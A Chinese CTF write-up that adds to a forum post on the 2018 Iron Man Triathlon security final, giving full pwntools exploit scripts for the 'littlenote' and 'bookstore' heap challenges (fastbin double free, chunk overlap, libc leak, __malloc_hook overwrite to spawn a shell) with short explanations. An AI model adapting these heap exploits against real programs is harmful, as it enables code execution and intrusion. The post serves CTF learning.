信息安全铁人三项赛真题解析_对 [CrackMe] 【ctf】2018信息安全铁人三项赛个人赛总决赛赛题分享 的一些补充...
原贴主地址:https://www.52pojie.cn/thread-837939-1-1.html
littenote这道题的exp
#------------------------------------------------------------------------------------------------------------------------------------
from pwn import *
io=process('./littlenote')
#context(os='linux',arch='amd64',log_level='debug')
def add(content,choose):
io.sendline('1')
io.recvuntil('Enter your note\n')
io.send(content)
io.recvuntil('Want to keep your note?\n')
io.sendline(choose)
io.recvuntil('Done\n')
def show(index):
io.sendline('2')
io.recvuntil('Which note do you want to show?\n')
io.sendline(str(index))
return (io.recvuntil("\nDone\n"))[:-6]
def free(index):
io.sendline('3')
io.recvuntil('Which note do you want to delete?\n')
io.sendline(str(index))
io.recvuntil('Done\n')
def main():
add('\x00'*0x58+p64(0x71),'Y')
add('a','Y')
add((p64(0x0)+p64(0x21))*6,'Y')
free(1)
free(0)
free(1)
#pause()
heap_base=u64((show(0)).ljust(8,'\x00'))-0x70
print "heap_base -> " + hex(heap_base)
#pause()
add(p64(heap_base+0x60),'Y') # !
add('\x00'*0x58+p64(0x71),'Y')
add('\x00'*8+p64(0x81),'Y')
add('\x00'*8+p64(0xA1),'Y')
#pause()
free(1)
libc_base=u64((show(1)).ljust(8,'\x00'))-0x68-0x00000000003C4B10
print "libc_base -> " + hex(libc_base)
one_gadget=libc_base+0xf02a4 # change
print "one_gadget -> " + hex(one_gadget)
add('a','Y') # 7
add('a','Y') # 8
add('a','Y') # 9
free(7)
free(8)
free(7)
point=libc_base+0x3c4af5-8
add(p64(point),'Y') # 10
add('a','Y') # 11
add(p64(point),'Y') # 12
#pause()
add('a'*19+p64(one_gadget),'Y')
io.sendline('1')
io.interactive()
main()
#------------------------------------------------------------------------------------------------------------------------------------
这道题就是个chunk extend/overlapping,通过extend/overlapping来修改一些已经malloc的chunk的size域为small chunk而不属于fast chunk的范围,从而导致free该chunk的时候被放入unsorted bin,从而可以leak出libc地址跟计算出one_gadget的地址,进而修改fd指针指向__malloc_hook的附近的位置.从而控制程序执行流获得一个shell.
bookstore这道题有意思的多.
附上原帖贴主的exp
#------------------------------------------------------------------------------------------------------------------------------------
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# imports
from pwn import *
import time
import os
import sys
elf = ""
libc = ""
env = ""
LOCAL = 1
context.log_level = "debug"
p = process("./bookstore", env={"LD_PRELOAD":"/tmp/ironthree/book/libc_64.so"})
#p = remote("ip", port) #uncomment this.
p.recvuntil("choice:\n")
def add(name, length, book):
p.sendline("1")
p.recvuntil("name?\n")
p.send(name)
p.recvuntil("name?\n")
p.sendline(str(length))
p.recvuntil("book?\n")
p.send(book)
p.recvuntil("choice:\n")
def sell(idx):
p.sendline("2")
p.recvuntil("sell?\n")
p.sendline(str(idx))
p.recvuntil("choice:\n")
def read(idx):
p.sendline("3")
p.recvuntil("sell?\n")
p.sendline(str(idx))
data = p.recvuntil("choice:\n")
return data
add("1234567\n", 0, "a\n")
for i in range(4):
add("12345678\n", 0x50, "a\n")
add("aaaadddd\n", 0, "a\n") #7
add("bbbbcccc\n", 0x40, "a\n") #8
add("railser\n", 0, "b\n")
add("ddaa\n", 0x50, "b\n")
add("ddaa\n", 0x20, "b\n")
add("ddaa\n", 0x30, "b\n")
add("ddaa\n", 0x40, "b\n")
add("ddaa\n", 0x50, "b\n")
sell(0)
add("trytry\n", 0, "a" * 24 + p64(0xc1)+"\n") #overflow
sell(1)
add("a" * 16 + p64(0x6e)+"\n", 20, "x"*8+"\n")
data = read(1)
libc_addr = data.split("x"*8)[1][:6]
libc = u64(libc_addr + "\0\0") - 0x3c4c28
print hex(libc)
one = libc + 0x4526a
mallochook = libc + 0x3c4b10 - 0x10
target = libc + 0x3c4b38
#gogo
sell(5)
sell(6)
add("a"*30, 0, "a" * 24 + p64(0x51)+p64(0x6f)+"\n")
add("a"*30 ,0x40, "a\n")
sell(7)
sell(8)
add("a"*30, 0, "a"*24 + p64(0x61)+p64(target) + "\n")
add("a" * 30, 0x50, "a\n")
add("a"*30, 0x50, p64(0) * 6 + p64(mallochook) + "\n")
add("a"*30, 0x50, "a"*0x30+"\n")
add("a"*30, 0x50, p64(one) + "a"*0x30+"\n")
p.sendline("1")
p.sendline("xxxx")
p.sendline("30")
p.interactive()
#------------------------------------------------------------------------------------------------------------------------------------
拿到这道题我早就可以修改fd指针的.不过因为程序对malloc的大小有限制所以导致不知道下一步要怎么办,尝试过malloc 2 stack,不过stack上也没有合适的size,所以就卡住了,直到看到了原帖贴主的exp,他的思路是通过修改free的fast chunk的fd指针,从而可以控制fastbin来伪造size,进而可以修改别的free的chunk的fd来指向这个我们伪造的size,进而控制top chunk的指针,从而malloc 2 __malloc_hook,这种思路第一次看到!
至于myhouse这题,还没看...
有师傅学pwn的可以交流交流!
这几道题目可以在原帖下载!
信息安全铁人三项赛真题解析_对 [CrackMe] 【ctf】2018信息安全铁人三项赛个人赛总决赛赛题分享 的一些补充...相关推荐
- 猿人学web端爬虫攻防大赛赛题解析_第一题:源码乱码
第一题:js 混淆 - 源码乱码 1.前言 2.题目理解 3.逆向(踩坑)分析过程 3.1.初步分析 3.2.当头一棒 3.3.循序渐进 3.4.大功告成 4.结语 1.前言 接触网络爬虫已经有两三年 ...
- Mathorcup数学建模竞赛第四届-【妈妈杯】A题:“2048”游戏的数学基础及其取胜策略研究(附赛题解析及MATLAB代码)
赛题描述 2048 是最近一款非常火爆的益智游戏,很多网友自称"一旦玩上 它就根本停不下来".2048 游戏的规则很简单:每次控制所有方块向 同一个方向运动,两个相同数字的方块撞在 ...
- 信息安全铁人三项赛真题解析_信息安全铁人三项赛二进制部分题解
2018-2019赛季 little note checksec menu() main() 增.删.查四个功能,并且保护基本全开. add() 这里需要注意的就是,至多0xF个note并且大小固定0 ...
- 猿人学web端爬虫攻防大赛赛题解析_第四题:雪碧图、样式干扰
第四题:雪碧图 - 样式干扰 1.前言 2.题目理解 3.解析过程 3.1.初窥门径 3.2.深入探究 3.2.1.确定原理 3.2.2.逆向破解 3.2.代码实现 4.结语 1.前言 久违的第四题终 ...
- 猿人学web端爬虫攻防大赛赛题解析_第九题:js混淆-动态cookie2
js混淆,动态cookie2 一.前言 二.加密逻辑初探 三.加密逻辑深入分析 四.代码实现 4.1.ast解混淆的一个坑 4.2.完整实现过程 五.参考文献 一.前言 一转眼又有快两个星期没更博客了 ...
- C1能力认证训练题解析 _ 第二部分 _ Web基础
目录 一.语义化标签 二.表单标签 三.转义字符 四.head 头 五.CSS 引入方式 六.CSS 背景属性 七.CSS 文本属性 八.基础选择器 九.伪类选择器 十.伪元素选择器 十一.CSS优先 ...
- 牛客网数据开发题库_练习SQL利器,牛客网SQL实战题库
牛客网SQL实战网址:https://www.nowcoder.com/ta/sql 持续更新--记录自己在牛客网SQL的做题过程 更新进度:61题,2019-4-3,更完了 1.查找最晚入职员工的所 ...
- 最适合新手的python刷题网站_有没有适合新手练习Python的网站(做题类)?
直接在知乎看我整理的练习题就可以了, 给你分享一下我自己亲身经历过的python考试题(下面还有练习题大全哦~~~) 记得给小达点个关注~ 你可以参考下面的题进行练习,考试题换汤不换药,希望对你有帮助 ...
- java 慕课 结题报告_[转载]微课组:小课题研究结题报告
一.课题背景及界定 近两年,各种微课大赛和培训活动此起彼伏,微课热让我们不得不对传统教学资源进行反思.传统教学资源如教案.课件.习题等,这些资源以整节课或单元为组织单位,重点从辅助教师"教& ...
- java获取表格的题注_【转】Word之表格、图片的题注(抬头)自动编号
问:word中的表格怎么自动插入题注(即表头的编号自动编号)? 答: 1首先搞清楚自动编号的意思.自动插入题注的意思是,在你在word中新建或者复制一个word表格的时候,表头的编号就自动生成了,而不 ...
最新文章
- 高通研发VR软件进军医疗领域,帮助医生诊断中风病患
- GLUEscript(wxJavascript)
- linux 设置gbk编码格式,设置ubuntu支持gbk编码格式和设置eclipse 编码格式
- 201671010117 2016-2017-2 《Java程序设计》Java第十七周学习心得
- 谈一谈synchronized关键词
- 断开式绑定ComboBox 关键命令 1201
- Matlab 【应用】【1】用Matlab找一组模拟波形的极值(含极大值、极小值、最大值)并在图中画出来
- 00058 imp_IMP-00058: ORACLE error 12154 encountered
- 为什么我花了三个半月准备的面试还是砸了?附 iOS 开发者求职攻略
- 9.看板方法---建立输入节奏
- 计算机网络第二章-----物理层
- Java Web前后端分离架构
- 小米,红米手机miui安装谷歌服务框架GMS三件套安,安装Google Play商店
- 屏幕绘图最佳利器Pointfix,绿色中文版_我是亲民_新浪博客
- CS5218: DP转HDMI 4K30HZ转换方案
- 市场调研-全球与中国化妆品级抗坏血酸葡糖苷市场现状及未来发展趋势
- 相机选型焦距、距离的计算
- CUBEMX配置STM32实现FTP文件传输以及使用SNTP获取网络时间并写入RTC
- c语言图片处理函数库,C语言图形开发库函数graphics.doc
- 还原混淆过的stacktrace
热门文章
- firefox vimperator (图)
- ES6-04:函数的扩展
- 手动为容器设置ip地址
- Python实现Excel与XML之间的转换
- 关于在Mac上安装模拟器的坑比~~~~~
- 【转】flex中的labelFunction(combox和dataGrid)
- 深入浅出SharePoint——站点的部署
- pymongo访问数据前数据库名和集合名(表名)校验
- Microsoft Visual C++ 14.0 is required (Unable to find vcvarsall.bat)
- AI市场需求变化了,应届生们却还停留在几年前的认知上...